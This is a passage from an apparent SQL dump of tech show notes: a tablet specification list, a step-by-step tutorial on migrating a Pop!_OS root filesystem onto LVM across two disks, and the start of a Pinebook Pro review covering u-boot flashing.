a non-refundable product, you will only get store credit.</p>\n<ul>\n<li><p>Price: $429.00 USD.</p></li>\n<li><p>Screen Size: 10.1&#x201D;</p>\n<ul>\n<li>Screen Type: Full HD IPS screen 1920&#xD7;1200 Capacitive touch,\nCapacitive (10-Point) MIPI-DSI.</li>\n<li>Refresh Rate: 60 Hz.</li>\n</ul></li>\n<li><p>CPU: <a\nhref=\"https://www.intel.com/content/www/us/en/products/sku/212329/intel-celeron-processor-n5100-4m-cache-up-to-2-80-ghz/specifications.html\">Intel\nJasper Lake Intel Celeron N5100</a> (4 Cores / 4 Threads) &#x2013; 1.10GHz\n(Turbo 2.80 GHz)</p>\n<ul>\n<li>Graphics: Intel UHD Graphics, Frequency: Base 350 MHz - Max 800\nMHz.</li>\n</ul></li>\n<li><p>Ram (SOLDERED): 8GB 2133 MHz LPDDR4.</p></li>\n<li><p>Storage: 256GB, 512GB, 1TB SSD.</p></li>\n<li><p>Chassis: Plastic.</p></li>\n<li><p>Wireless Card: <a\nhref=\"https://www.intel.com/content/www/us/en/products/sku/99446/intel-wirelessac-9560/specifications.html\">Intel\nWireless AC 9460/9560</a> Jefferson Peak 2.4 and 5GHz + Bluetooth\n4.2.</p></li>\n<li><p>Ports:</p>\n<ul>\n<li>1x USB3.0</li>\n<li>1x Type-C 3.1 (Supports charging + video out)</li>\n<li>1x Mini HDMI</li>\n<li>1x Micro SD</li>\n<li>3.5MM Headphone Jack</li>\n</ul></li>\n<li><p>Built-in Microphone</p></li>\n<li><p><strong>Linux Kernel 5.18+</strong></p></li>\n<li><p>OS:</p>\n<ul>\n<li><a href=\"https://software.manjaro.org/package/phosh#!\">Manjaro\nPhosh</a></li>\n<li><a href=\"https://plasma-mobile.org/get/\">Manjaro Plasma\nMobile</a></li>\n<li><a href=\"https://wiki.mobian-project.org/doku.php?id=intro\">Mobian\nPhosh</a></li>\n<li>Windows 11 (Not included &#x2013; can provide ISO)</li>\n</ul></li>\n<li><p><a href=\"https://en.jingos.com/jingpad-a1/\">JingPad A1, It&#x2019;s the\nWorld&#x2019;s FIRST Consumer-level ARM-based Linux Tablet.</a></p>\n<ul>\n<li>JingPad A1 maybe discontinued: <a\nhref=\"https://www.youtube.com/watch?v=cmBG1Sjgsgk\">https://www.youtube.com/watch?v=cmBG1Sjgsgk</a></li>\n</ul></li>\n<li><p><a href=\"https://wiki.pine64.org/wiki/Ox64\">Pine64&#x2019;s\nOx64.</a></p></li>\n<li><p><strong>RISC-V SBC Info:</strong></p></li>\n<li><p><strong>Ram:</strong></p>\n<ul>\n<li>Embedded 64MB PSRAM</li>\n</ul></li>\n<li><p><strong>Network:</strong></p>\n<ul>\n<li>2.4GHz 1T1R WiFi 802.11 b/g/n</li>\n<li>Bluetooth 5.2</li>\n<li>Zigbee</li>\n<li>10/100Mbps Ethernet (optional, on expansion board)</li>\n</ul></li>\n<li><p><strong>Storage:</strong></p>\n<ul>\n<li>on-board 16Mb (2MB) or 128Mb (16MB) XSPI NOR flash memory.</li>\n<li>microSD - supports SDHC and SDXC</li>\n</ul></li>\n<li><p><strong>Expansion Ports:</strong></p>\n<ul>\n<li>USB 2.0 OTG port</li>\n<li>26 GPIO Pins, including SPI, I2C and UART functionality. Possible\nI2S and GMII expansion.</li>\n<li>Dual lane MiPi CSI port, located at USB-C port, for camera\nmodule.</li>\n</ul></li>\n<li><p><strong>Audio:</strong></p>\n<ul>\n<li>mic (optional, on camera module)</li>\n<li>speaker (optional, on camera module)</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Malware, Security Breach, Hardware, Tablets',0,0,1),
(3727,'2022-11-15','Expanding your filesystem with LVM',1480,'Rho`n describes adding a new hard drive to his work computer and expanding its filesystem','<h1 id=\"synopis\">Synopis</h1>\n<p>I installed a new 1TB Crucial MX500 SSD into my work computer. While\nwe are mostly a Windows based business, as the IT guy I do get a bit of\ndiscretion when updating my own machine (i.e. I get to solve all the\nproblems I create). Last year, I decided to run the Pop!_OS distribution\nof Linux on my work computer and run Windows in a VM on it. Recently the\nWindows image had grown and was causing disk space notifications. This\nprompted the additional hard drive.</p>\n<p>During the initial installation of Pop!_OS, I remember deciding not\nto bother with installing Linux Volume Management (LVM). I have used it\nin the past, but I am still much more comfortable with the old style\ndevice mapping and mounting disk partitions to directories. I even\nrationalized that if I needed to add more space, I will just add a new\ndisk with one big partition and map it to the home directory.</p>\n<p>Now a year later I am adding a new HD and thinking, I really hate all\nthe space that is most likely going to be wasted once I move the Windows\nimage to the new drive. Ok, I guess I should figure out how to install\nLVM, and use it to manage the space on both drives. Luckily there a\nnumber of good blogs to be found on adding LVM to an existing system.\nThe following are the steps and commands I used to accomplish my\ngoal.</p>\n<h1 id=\"commands\">Commands</h1>\n<p>Most of the following commands need to be run as root. I decided to\nchange to root user instead of typing sudo before every command. The\nbasic steps to creating a single filesystem sharing the storage space\nbetween two physical disk partitions are:</p>\n<ol type=\"1\">\n<li>Let LVM know about the new disk.</li>\n<li>In my case, create a volume group and add the new disk and its full\nstorage space to it.</li>\n<li>Copy the disk partition with the root filesystem from the origin\ndisk to the new volume group</li>\n<li>Expand the root filesystem on the volume group to the full size of\nthe volume group.</li>\n<li>Update system configuration to boot with the root filesystem on the\nnew volume group.</li>\n<li>Let LVM know about the old root disk partition.</li>\n<li>Add the old root partition to the volume group.</li>\n<li>Expand the root filesystem on the volume group to include the new\nspace in the volume group.</li>\n</ol>\n<pre><code>root@work# pvcreate /dev/sdb\n\nroot@work# pvdisplay\n &quot;/dev/sdb&quot; is a new physical volume of &quot;931.51 GiB&quot;\n --- NEW Physical volume ---\n PV Name /dev/sdb\n VG Name\n PV Size 931.51 GiB\n Allocatable NO\n PE Size 0\n Total PE 0\n Free PE 0\n Allocated PE 0\n PV UUID wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# vgcreate workvg /dev/dsb\n No device found for /dev/dsb.\nroot@work# vgcreate workvg /dev/sdb\n Volume group &quot;workvg&quot; successfully created\nroot@work# vgdisplay\n --- Volume group ---\n VG Name workvg\n System ID\n Format lvm2\n Metadata Areas 1\n Metadata Sequence No 1\n VG Access read/write\n VG Status resizable\n MAX LV 0\n Cur LV 0\n Open LV 0\n Max PV 0\n Cur PV 1\n Act PV 1\n VG Size 931.51 GiB\n PE Size 4.00 MiB\n Total PE 238467\n Alloc PE / Size 0 / 0\n Free PE / Size 238467 / 931.51 GiB\n VG UUID 67DSwP-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# pvdisplay\n --- Physical volume ---\n PV Name /dev/sdb\n VG Name workvg\n PV Size 931.51 GiB / not usable 1.71 MiB\n Allocatable yes\n PE Size 4.00 MiB\n Total PE 238467\n Free PE 238467\n Allocated PE 0\n PV UUID wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvcreate -n root -L 931.51 workvg\n Rounding up size to full physical extent 932.00 MiB\n Logical volume &quot;root&quot; created.\n\nroot@work# cat /dev/sda3 &gt;/dev/mapper/workvg-root\ncat: write error: No space left on device</code></pre>\n<p>Hmmm why can\'t it copy the smaller disk onto a larger one?</p>\n<pre><code>root@work# pvdisplay\n --- Physical volume ---\n PV Name /dev/sdb\n VG Name workvg\n PV Size 931.51 GiB / not usable 1.71 MiB\n Allocatable yes\n PE Size 4.00 MiB\n Total PE 238467\n Free PE 238234\n Allocated PE 233\n PV UUID wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvdisplay\n --- Logical volume ---\n LV Path /dev/workvg/root\n LV Name root\n VG Name workvg\n LV UUID srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n LV Write Access read/write\n LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n LV Status available\n # open 0\n LV Size 932.00 MiB\n Current LE 233\n Segments 1\n Allocation inherit\n Read ahead sectors auto\n - currently set to 256\n Block device 253:1</code></pre>\n<p>Whoops, the default unit for the lvcreate is MB, and I forgot to add\nG to my size. A good reason to always include units in whatever you do\n:) Also, pay attention to any reports printed at the end of a successful\ncommand. When I scrolled back I realized it told me the size it\ncreated.</p>\n<pre><code>root@work# lvextend -l +100%FREE /dev/workvg/root\n Size of logical volume workvg/root changed from 932.00 MiB (233 extents) to 931.51 GiB (238467 extents).\n Logical volume workvg/root successfully resized.\n\nroot@work# lvdisplay\n --- Logical volume ---\n LV Path /dev/workvg/root\n LV Name root\n VG Name workvg\n LV UUID srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n LV Write Access read/write\n LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n LV Status available\n # open 0\n LV Size 931.51 GiB\n Current LE 238467\n Segments 1\n Allocation inherit\n Read ahead sectors auto\n - currently set to 256\n Block device 253:1\n\nroot@work# cat /dev/sda3 &gt;/dev/mapper/workvg-root\n\nroot@work# mkdir /media/new-root\n\nroot@work# mount /dev/mapper/workvg-root /media/new-root\n\nroot@work# df -h\nFilesystem Size Used Avail Use% Mounted on\n/dev/sda3 450G 421G 5.6G 99% /\n/dev/sda1 497M 373M 125M 76% /boot/efi\n/dev/sda2 4.0G 3.4G 692M 84% /recovery\n/dev/mapper/workvg-root 450G 421G 5.7G 99% /media/new-root</code></pre>\n<p>Ok, the LV volume is resized but the filesystem now needs to expanded\nto use the new disk space</p>\n<pre><code>root@work# umount /media/new-root/\n\nroot@work# resize2fs /dev/mapper/workvg-root\n\nresize2fs 1.46.5 (30-Dec-2021)\nPlease run &#39;e2fsck -f /dev/mapper/workvg-root&#39; first.\n\nroot@work# e2fsck -f /dev/mapper/workvg-root\ne2fsck 1.46.5 (30-Dec-2021)\nPass 1: Checking inodes, blocks, and sizes\nInode 7210086 extent tree (at level 2) could be narrower. Optimize&lt;y&gt;? yes\nPass 1E: Optimizing extent trees\nPass 2: Checking directory structure\nPass 3: Checking directory connectivity\nPass 4: Checking reference counts\nPass 5: Checking group summary information\n\n/dev/mapper/workvg-root: ***** FILE SYSTEM WAS MODIFIED *****\n/dev/mapper/workvg-root: 827287/29974528 files (1.2% non-contiguous), 112395524/119870981 blocks\n\nroot@work# resize2fs /dev/mapper/workvg-root\nresize2fs 1.46.5 (30-Dec-2021)\nResizing the filesystem on /dev/mapper/workvg-root to 244190208 (4k) blocks.\nThe filesystem on /dev/mapper/workvg-root is now 244190208 (4k) blocks long.\n\nroot@work# mount /dev/mapper/workvg-root /media/new-root\n\nroot@work# df -h\nFilesystem Size Used Avail Use% Mounted on\n/dev/sda3 450G 421G 5.5G 99% /\n/dev/mapper/workvg-root 916G 421G 449G 49% /media/new-root</code></pre>\n<p>Much better. Now we need to get the computer to boot using LVM and\nthe new drive. Need to make sure <code>/etc/fstab</code> is updated to\npoint to the new root filesystem.</p>\n<p>Make some in-memory filesystems available under the new root:</p>\n<pre><code>root@work# mount --rbind /dev /media/new-root/dev\nroot@work# mount --bind /proc /media/new-root/proc\nroot@work# mount --bind /sys /media/new-root/sys\nroot@work# mount --bind /run /media/new-root/run\n\nroot@work# chroot /media/new-root\n\nroot@work# cat /etc/fstab\n# /etc/fstab: static file system information.\n#\n# Use &#39;blkid&#39; to print the universally unique identifier for a\n# device; this may be used with UUID= as a more robust way to name devices\n# that works even if disks are added and removed. See fstab(5).\n#\n# &lt;file system&gt; &lt;mount point&gt; &lt;type&gt; &lt;options&gt; &lt;dump&gt; &lt;pass&gt;\nPARTUUID=949a09f0-xxxx-xxxx-xxxx-xxxxxxxxxxxx /boot/efi vfat umask=0077 0 0\nPARTUUID=bbcc2068-xxxx-xxxx-xxxx-xxxxxxxxxxxx /recovery vfat umask=0077 0 0\nUUID=9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx / ext4 noatime,errors=remount-ro 0 0\n/dev/mapper/cryptswap none swap defaults 0 0\n\nroot@work# vi /etc/fstab\n\nroot@work# cat /etc/fstab\n# /etc/fstab: static file system information.\n#\n# Use &#39;blkid&#39; to print the universally unique identifier for a\n# device; this may be used with UUID= as a more robust way to name devices\n# that works even if disks are added and removed. See fstab(5).\n#\n# &lt;file system&gt; &lt;mount point&gt; &lt;type&gt; &lt;options&gt; &lt;dump&gt; &lt;pass&gt;\nPARTUUID=949a09f0-xxxx-xxxx-xxxx-xxxxxxxxxxxx /boot/efi vfat umask=0077 0 0\nPARTUUID=bbcc2068-xxxx-xxxx-xxxx-xxxxxxxxxxxx /recovery vfat umask=0077 0 0\n/dev/mapper/workvg-root / ext4 noatime,errors=remount-ro 0 0\n/dev/mapper/cryptswap none swap defaults 0 0\n\nroot@it05:/media/new-root/etc/initramfs-tools# lsinitramfs /boot/initrd.img-$(uname -r) | grep lvm\netc/lvm\netc/lvm/lvm.conf\netc/lvm/lvmlocal.conf\netc/lvm/profile\netc/lvm/profile/cache-mq.profile\netc/lvm/profile/cache-smq.profile\netc/lvm/profile/command_profile_template.profile\netc/lvm/profile/lvmdbusd.profile\netc/lvm/profile/metadata_profile_template.profile\netc/lvm/profile/thin-generic.profile\netc/lvm/profile/thin-performance.profile\netc/lvm/profile/vdo-small.profile\nscripts/init-bottom/lvm2\nscripts/local-block/lvm2\nscripts/local-top/lvm-workaround\nscripts/local-top/lvm2\nusr/lib/udev/rules.d/56-lvm.rules\nusr/lib/udev/rules.d/69-lvm-metad.rules\nusr/sbin/lvm\n\nroot@it05:/# update-initramfs -u\nupdate-initramfs: Generating /boot/initrd.img-5.19.0-76051900-generic\ncryptsetup: WARNING: Resume target cryptswap uses a key file\nkernelstub.Config : INFO Looking for configuration...\nkernelstub.Drive : ERROR Could not find a block device for the a partition. This is a critical error and we cannot continue.\nTraceback (most recent call last):\n File &quot;/usr/lib/python3/dist-packages/kernelstub/drive.py&quot;, line 56, in __init__\n self.esp_fs = self.get_part_dev(self.esp_path)\n File &quot;/usr/lib/python3/dist-packages/kernelstub/drive.py&quot;, line 94, in get_part_dev\n raise NoBlockDevError(&#39;Couldn\\&#39;t find the block device for %s&#39; % path)\nkernelstub.drive.NoBlockDevError: Couldn&#39;t find the block device for /boot/efi\nrun-parts: /etc/initramfs/post-update.d//zz-kernelstub exited with return code 174\n\nroot@it05:/# lsblk -f\nNAME FSTYPE FSVER LABEL UUID FSAVAIL FSUSE% MOUNTPOINTS\nsda\n&#x251C;&#x2500;sda1\n&#x2502; vfat FAT32 D499-28CF\n&#x251C;&#x2500;sda2\n&#x2502; vfat FAT32 D499-2B97\n&#x251C;&#x2500;sda3\n&#x2502; ext4 1.0 9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n&#x2514;&#x2500;sda4\n swap 1 1758e7a0-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n &#x2514;&#x2500;cryptswap\n swap 1 cryptswap\n e874c9cc-xxxx-xxxx-xxxx-xxxxxxxxxxxx [SWAP]\nsdb LVM2_m LVM2 wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n&#x2514;&#x2500;workvg-root\n ext4 1.0 9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx 448.6G 46% /\n\nroot@it05:/# df -h\nFilesystem Size Used Avail Use% Mounted on\n/dev/mapper/workvg-root 916G 421G 449G 49% /\ntmpfs 7.8G 0 7.8G 0% /dev/shm\ntmpfs 1.6G 2.4M 1.6G 1% /run\n\nroot@it05:/# mount /dev/sda1 /boot/efi\n\nroot@it05:/# update-initramfs -u\n\nupdate-initramfs: Generating /boot/initrd.img-5.19.0-76051900-generic\ncryptsetup: WARNING: Resume target cryptswap uses a key file\nkernelstub.Config : INFO Looking for configuration...\nkernelstub : INFO System information:\n\n OS:..................Pop!_OS 22.04\n Root partition:....../dev/dm-1\n Root FS UUID:........9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n ESP Path:............/boot/efi\n ESP Partition:......./dev/sda1\n ESP Partition #:.....1\n NVRAM entry #:.......-1\n Boot Variable #:.....0000\n Kernel Boot Options:.quiet loglevel=0 systemd.show_status=false splash\n Kernel Image Path:.../boot/vmlinuz-5.19.0-76051900-generic\n Initrd Image Path:.../boot/initrd.img-5.19.0-76051900-generic\n Force-overwrite:.....False\n\nkernelstub.Installer : INFO Copying Kernel into ESP\nkernelstub.Installer : INFO Copying initrd.img into ESP\nkernelstub.Installer : INFO Setting up loader.conf configuration\nkernelstub.Installer : INFO Making entry file for Pop!_OS\nkernelstub.Installer : INFO Backing up old kernel\nkernelstub.Installer : INFO Making entry file for Pop!_OS</code></pre>\n<p>ok, moment of truth, can i reboot into the new root filesystem</p>\n<pre><code>root@it05:/# shutdown -r now\nRunning in chroot, ignoring request.\n\nroot@it05:/# exit\nroot@work# shutdown -r now</code></pre>\n<p>Whoot! Success. Booted right back up, and can verify running from new\nLV</p>\n<pre><code>rhorning@icon-n.com@it05:~$ df -h\nFilesystem Size Used Avail Use% Mounted on\n/dev/mapper/workvg-root 916G 421G 449G 49% /\n/dev/sda1 497M 373M 125M 76% /boot/efi</code></pre>\n<p>Next step, add the original root partition (/dev/sda3) to the volume\ngroup so there is 1.5Gb available to the filesystem</p>\n<pre><code>root@work# pvcreate /dev/sda3\nWARNING: ext4 signature detected on /dev/sda3 at offset 1080. Wipe it? [y/n]: y\n Wiping ext4 signature on /dev/sda3.\n Physical volume &quot;/dev/sda3&quot; successfully created.\n\nroot@work# vgextend workvg /dev/sda3\n Volume group &quot;workvg&quot; successfully extended\n\nroot@work# vgdisplay\n --- Volume group ---\n VG Name workvg\n System ID\n Format lvm2\n Metadata Areas 2\n Metadata Sequence No 4\n VG Access read/write\n VG Status resizable\n MAX LV 0\n Cur LV 1\n Open LV 1\n Max PV 0\n Cur PV 2\n Act PV 2\n VG Size &lt;1.36 TiB\n PE Size 4.00 MiB\n Total PE 355528\n Alloc PE / Size 238467 / 931.51 GiB\n Free PE / Size 117061 / &lt;457.27 GiB\n VG UUID 67DSwP-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvdisplay\n --- Logical volume ---\n LV Path /dev/workvg/root\n LV Name root\n VG Name workvg\n LV UUID srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n LV Write Access read/write\n LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n LV Status available\n # open 1\n LV Size 931.51 GiB\n Current LE 238467\n Segments 1\n Allocation inherit\n Read ahead sectors auto\n - currently set to 256\n Block device 253:0\n\nroot@work# lvextend -l +100%FREE /dev/workvg/root\n Size of logical volume workvg/root changed from 931.51 GiB (238467 extents) to &lt;1.36 TiB (355528 extents).\n Logical volume workvg/root successfully resized.\n\nroot@work# lvdisplay\n --- Logical volume ---\n LV Path /dev/workvg/root\n LV Name root\n VG Name workvg\n LV UUID srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n LV Write Access read/write\n LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n LV Status available\n # open 1\n LV Size &lt;1.36 TiB\n Current LE 355528\n Segments 2\n Allocation inherit\n Read ahead sectors auto\n - currently set to 256\n Block device 253:0\n\nroot@work# df -h\nFilesystem Size Used Avail Use% Mounted on\ntmpfs 1.6G 2.4M 1.6G 1% /run\n/dev/mapper/workvg-root 916G 421G 449G 49% /\ntmpfs 7.8G 0 7.8G 0% /dev/shm\ntmpfs 5.0M 0 5.0M 0% /run/lock\n/dev/sda1 497M 373M 125M 76% /boot/efi\n/dev/sda2 4.0G 3.4G 692M 84% /recovery\ntmpfs 7.8G 0 7.8G 0% /run/qemu\ntmpfs 1.6G 1.7M 1.6G 1% /run/user/1202401106\n\nroot@work# resize2fs /dev/mapper/workvg-root\nresize2fs 1.46.5 (30-Dec-2021)\nFilesystem at /dev/mapper/workvg-root is mounted on /; on-line resizing required\nold_desc_blocks = 117, new_desc_blocks = 174\nThe filesystem on /dev/mapper/workvg-root is now 364060672 (4k) blocks long.\n\nroot@work# df -h\nFilesystem Size Used Avail Use% Mounted on\ntmpfs 1.6G 2.4M 1.6G 1% /run\n/dev/mapper/workvg-root 1.4T 421G 881G 33% /\ntmpfs 7.8G 0 7.8G 0% /dev/shm\ntmpfs 5.0M 0 5.0M 0% /run/lock\n/dev/sda1 497M 373M 125M 76% /boot/efi\n/dev/sda2 4.0G 3.4G 692M 84% /recovery\ntmpfs 7.8G 0 7.8G 0% /run/qemu\ntmpfs 1.6G 1.7M 1.6G 1% /run/user/1202401106\n</code></pre>\n<h1 id=\"references\">References</h1>\n<ul>\n<li><a\nhref=\"https://unix.stackexchange.com/questions/213906/move-data-from-regular-partition-to-lvm\">Move\ndata from regular partition to lvm</a>; Viewed on 2022-10-18</li>\n<li><a\nhref=\"https://www.learnitguide.net/2016/06/how-to-create-lvm-partition-in-linux.html\">How\nto Create LVM Partition in Linux &#x2013; LVM Tutorial</a>; Viewed on\n2022-10-18</li>\n<li><a href=\"https://access.redhat.com/solutions/44089\">\'lvextend -l\n100%FREE\' resizing to the number of free extents rather than adding them\nto the current size in RHEL</a>; Viewed on 2022-10-18</li>\n<li><a\nhref=\"https://xan.manning.io/2017/05/29/best-practice-for-mounting-an-lvm-logical-volume-with-etc-fstab.html\">Best\nPractice for Mounting an LVM Logical Volume with /etc/fstab</a>; Viewed\non 2022-10-18</li>\n<li><a\nhref=\"https://www.reddit.com/r/pop_os/comments/aowtu1/cant_update_kernel_and_initramfs/\">Can\'t\nupdate kernel and initramfs</a>; Viewed on 2022-1018</li>\n<li><a\nhref=\"https://www.amazon.com/Crucial-MX500-NAND-SATA-Internal/dp/B078211KBB/ref=sr_1_1_sspa?gclid=Cj0KCQjwnP-ZBhDiARIsAH3FSRcoW5tSEHvVPvu-kNm_QVTIdnHsLpI8P0GJ8RufYNcbOak2Ox9wCwAaApZJEALw_wcB&amp;hvadid=410127070457&amp;hvdev=c&amp;hvlocphy=9007894&amp;hvnetw=g&amp;hvqmt=b&amp;hvrand=17548218152440937646&amp;hvtargid=kwd-76948762643&amp;hydadcr=18005_11412178&amp;keywords=ssd%2Bcrucial%2B1tb&amp;qid=1665152899&amp;qu=eyJxc2MiOiIyLjc2IiwicXNhIjoiMi4zNyIsInFzcCI6IjIuMDAifQ%3D%3D&amp;sr=8-1-spons&amp;th=1\">Crucial\nMX500 1TB 3D NAND SATA 2.5-inch</a>; Viewed on 2022-10-18</li>\n<li><a\nhref=\"https://www.amazon.com/Corsair-Dual-Mounting-Bracket-CSSD-BRKT2/dp/B016498CK0/ref=pd_day0fbt_sccl_1/134-2954782-4788331?pd_rd_w=RSAip&amp;content-id=amzn1.sym.9b14949a-xxxx-xxxx-xxxx-xxxxxxxxxxxx&amp;pf_rd_p=9b14949a-xxxx-xxxx-xxxx-xxxxxxxxxxxx&amp;pf_rd_r=SPJE0DTTC2DFH8PP17ZH&amp;pd_rd_wg=zktxr&amp;pd_rd_r=ca3b049f-xxxx-xxxx-xxxx-xxxxxxxxxxxx&amp;pd_rd_i=B016498CK0&amp;psc=1\">Corsair\nDual SSD Mounting Bracket (3.5&#x201D; Internal Drive Bay to 2.5\", Easy\nInstallation) </a>; Viewed on 2022-10-18</li>\n</ul>\n',293,0,0,'CC-BY-SA','LVM, Linux Volume Management, hard drive, SSD',0,0,1),
(3728,'2022-11-16','Pinebook Pro review',2917,'I talk about the Pinebook Pro (and bricking various other arm devices)','<h1 id=\"why-the-pbp\">Why the PBP?</h1>\n<p>Lately I\'ve been thinking a lot about power consumption when it comes\nto computing. Intuitively, I know that arm devices pull significantly\nless power than amd64 machines but I\'ve never really tested this in the\nreal world. So, some preliminary power consumption stats:</p>\n<ul>\n<li>big amd64 laptops (thinkpad x220 and t490) pull at most 65\nwatts</li>\n<li>small arm SOCs typically pull at most 15 watts</li>\n<li>most android phones pull at most 18 watts</li>\n<li>Pentium 4 pulls at most 250 watts</li>\n</ul>\n<p>These numbers are fairly easy to find: just look at the power supply\nfor a MAXIMUM OUTPUT value or something similar. This is the point at\nwhich the power supply fails so we can safely assume this is the maximum\npower draw for any given computer. Of course, this is DC output and not\nAC output and anyone who knows anything about electricity knows that\nconverting AC to DC is expensive but these values are useful as a\ngeneral estimate. <a href=\"https://0x19.org/posts/2022-01-08.php\">I\nwrote something similar about computer power consumption some time\nago</a></p>\n<p>My goal in all of this was to find a self contained computer that\nruns UNIX, doesn\'t take much power, isn\'t a consumption rectangle\n(smartphone), and can be charged from both AC with a rectifier and\nstored DC without an inverter. Charging from existing stored power was\nprobably the most novel consideration. Everything else is a given.</p>\n<p>A few obvious answers come to mind:</p>\n<ul>\n<li><a\nhref=\"https://www.raspberrypi.com/products/raspberry-pi-4-model-b/\">Raspberry\nPi 4</a> is not self contained and using a pitop in public is a good way\nto get the bomb squad called on you</li>\n<li><a href=\"https://beagleboard.org/black\">beaglebone black</a> is good\ntoo but neither self contained nor popular enough for wide OS\nsupport</li>\n<li><a\nhref=\"https://pine64.com/product/14%e2%80%b3-pinebook-pro-linux-laptop-ansi-us-keyboard/\">Pinebook\nPro</a> is self contained and is supported by some of the operating\nsystems I\'d like to run</li>\n</ul>\n<p>The PBP is an obvious choice. It\'s an open hardware ARM laptop that\ncan be charged via a barrel cable (AC-&gt;DC) or via USB-C. Charging\nfrom USB-C is a very useful feature because it means I can easily choose\nbetween charging from the mains where efficiency loss is acceptable and\ncharging from a DC source where efficiency loss is unacceptable.</p>\n<p>The actual use case is \"what computer can I run off of a old car\nbattery or the alternator in my car without burning power with an\ninverter?\". I\'ll revisit this use case in a later section.</p>\n<hr />\n<h1 id=\"initial-notes\">Initial notes</h1>\n<p>I took these notes immediately upon opening the PBP. They remain\nunedited because I want to be honest on the first impressions.</p>\n<h2 id=\"shipping\">shipping</h2>\n<p>I was worried about DHL dropping my package out of a plane. Or\nleaving it out in the rain. Or having one of the employees use it as a\nsoccer ball. Or having the thing get stuck in customs. It ended up\narriving safely and was packaged well. Two boxes within a padded\nenvelope within another envelope. Surprising for DHL.</p>\n<h2 id=\"hardware-impressions\">hardware impressions</h2>\n<ul>\n<li>Touchpad sucks and trackpad scrolling sucks (it\'s probably just\nKDE). Installing synaptics drivers allegedly fix this problem.</li>\n<li>keyboard is comfortable, clickly, full sized despite being a\nchicklet keyboard. I don\'t like that the <code>&lt;ctl&gt;</code> and\n<code>&lt;fn&gt;</code> keys are backwards when compared to a thinkpad.\nI really like the thinkpad keyboard layout.</li>\n<li>Shift+enter seems to type the <code>M</code> character. My muscle\nmemory for key chording is now broken. This appears to be a fundamental\ndesign flaw with KDE.</li>\n<li>Passively cooled, gets a bit warm.</li>\n<li>display is sharp (IPS) and almost too high resolution for my eyes\n(1920x1080 instead of 1366x768). I can fix this in software.</li>\n<li>enabling/disabling mic/wifi/camera through the keyboard is confusing\nand (seemingly) does not perform the \"kill switch\" via hotplugging like\nthe Thinkpad X220\'s wifi kill switch.</li>\n<li>Charger comes with both US and EU prongs.</li>\n</ul>\n<h2 id=\"software-impressions\">software impressions</h2>\n<ul>\n<li>it\'s manjaro :(</li>\n<li>it\'s KDE :(</li>\n<li>it comes with mpv :)</li>\n<li>bluez instead of bluetoothd :(</li>\n<li>firewalld instead of UFW &lt;3</li>\n<li>no vim, no vi, and no ed on the standard installation so this is\ncompletely useless and unusable.</li>\n<li>firefox config uses google as the default search engine</li>\n<li>It didn\'t come with RHEL7 or so obviously I hate it</li>\n<li>It didn\'t come with BSD so obviously I hate it</li>\n<li>Terminal color scheme is one of the worst I\'ve seen in my life</li>\n</ul>\n<h1 id=\"secondary-notes\">Secondary notes</h1>\n<p>From my next available free day, largely unedited:</p>\n<h2 id=\"software\">software</h2>\n<ul>\n<li>I still don\'t like manjaro. I still don\'t like pacman.</li>\n<li>On the default manjaro installation, the\n<code>manjaro-arm-flasher</code> tool seems to create bootable SD cards\n(nice for the insurance policy)</li>\n<li>when updating (lots of network IO throughput), the wireless card\nseems to stutter.</li>\n<li>I Can\'t boot another OS using the stock firmware. I need to flash\nthe \"SPI flash\" (fancy ARM guy terminology for nvram) with newer\nversions of u-boot that are more hacker friendly (ie the ones that don\'t\nrequire a serial display).</li>\n</ul>\n<h2 id=\"hardware\">hardware</h2>\n<ul>\n<li>The emmc is toggable with a DIP switch on the mainboard. <a\nhref=\"https://wiki.pine64.org/wiki/Pinebook_Pro#Internal_Layout\">My\nmainboard looks slightly different than the images on the wiki</a> but\nall of the components are generally in the same location</li>\n</ul>\n<hr />\n<h1 id=\"technical-stuff\">Technical stuff</h1>\n<h2 id=\"upgrading-the-u-boot-on-storage-devices\">upgrading the u-boot on\nstorage devices</h2>\n<p>It seems that the PBP has three possible locations for the\nbootloader: nvram, EMMC, and sd card. The boot process is something\nlike:</p>\n<ol type=\"1\">\n<li>load bootloader from nvram</li>\n<li>query storage device</li>\n<li>if the storage device has it\'s own bootloader, chainload that</li>\n<li>otherwise, use the bootloader from nvram</li>\n</ol>\n<p>It\'s u-boot soup but upgrading the bootloader on the storage device\nseems to marginally increase stability.</p>\n<pre><code>$ sudo pacman -Syuu\n$ sudo pacman -S uboot-pinebookpro\n$ sudo dd if=/boot/idbloader.img of=/dev/mmcblk2 seek=64 conv=notrunc,fsync\n$ sudo dd if=/boot/u-boot.itb of=/dev/mmcblk2 seek=16384 conv=notrunc,fsync\n$ sudo sync\n$ sudo reboot</code></pre>\n<h1 id=\"flashing-u-boot-externally-and-buying-more-stuff\">Flashing\nu-boot externally and buying more stuff</h1>\n<p><a href=\"https://nullr0ute.com/2021/05/fedora-on-the-pinebook-pro/\">I\nfound some fedora specific instructions that are actually just PBP\nspecific</a> Using the u-boot and idb from fedora, The screen flashes\nwith garbled nonsense when loading a kernel but at least I can see the\noutput from u-boot. Different kernels show different garbled nonsense so\nit\'s a bit of fun. The keyboard does not work in u-boot. The system will\nnow also boot from the SD card (although it seems the system will always\nboot from 